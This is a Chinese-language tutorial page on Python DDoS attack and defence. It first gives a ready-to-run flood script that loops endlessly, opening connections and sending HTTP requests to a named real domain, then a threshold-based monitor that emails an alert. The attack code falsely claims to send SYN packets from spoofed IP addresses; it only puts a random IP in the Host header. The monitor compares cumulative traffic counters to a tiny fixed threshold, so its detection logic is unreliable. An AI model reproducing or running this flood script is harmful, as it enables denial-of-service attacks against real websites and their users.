Python实现的DDoS攻击和防御的实时监控和报警系统
实现DDoS攻击的Python代码如下:
import socket import random target = 'pidancode.com' port = 80 # 构造伪造的IP地址及端口号 ip = '.'.join(map(str, (random.randint(0, 255) for _ in range(4)))) fake_ip = '.'.join(map(str, (random.randint(0, 255) for _ in range(4)))) fake_port = random.randint(1, 65535) # 构造SYN包进行攻击 def attack(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) s.close() # 循环进行DDoS攻击 while True: attack()
为防止DDoS攻击,我们可以根据流量或连接数设置阈值并进行监控。监控使用Python代码如下:
import subprocess import re import time import smtplib from email.mime.text import MIMEText # 设置报警阈值 CPU_THRESHOLD = 50 # CPU使用率 NET_THRESHOLD = 5000 # 网络流量 # 监测系统资源使用情况 def monitor(): # 获取CPU使用情况 cpu = float(re.findall("cpu.*id", subprocess.check_output("top -n1", shell=True).decode('utf-8'))[0].split()[3]) # 获取网络流量 net = 0 with open("/proc/net/dev") as f: for line in f.readlines(): if "eth0:" in line: net += int(line.split()[1]) # 检查是否超过阈值 if cpu >= CPU_THRESHOLD or net >= NET_THRESHOLD: send_mail("Warning: DDoS Attack is happening!", "Please check your server immediately!") print("Warning: DDoS Attack is happening! Please check your server immediately!") else: print("No DDoS Attack detected.") # 发送邮件进行报警 def send_mail(subject, content): sender = "sender@example.com" recipient = "recipient@example.com" password = "your_password" smtpserver = "smtp.example.com" port = 587 try: server = smtplib.SMTP(smtpserver, port) server.ehlo() server.starttls() server.login(sender, password) msg = MIMEText(content) msg['Subject'] = subject msg['From'] = sender msg['To'] = recipient server.sendmail(sender, recipient, msg.as_string()) server.close() print("Email sent successfully!") except Exception as e: print("Error sending email:", e) # 循环监测系统资源使用情况 while True: monitor() time.sleep(60)
监控程序会每隔一分钟检查一次系统资源使用情况。如果CPU使用率或网络流量超过预设阈值,则会发送邮件进行报警。可以根据实际情况调整阈值及邮件参数。
相关文章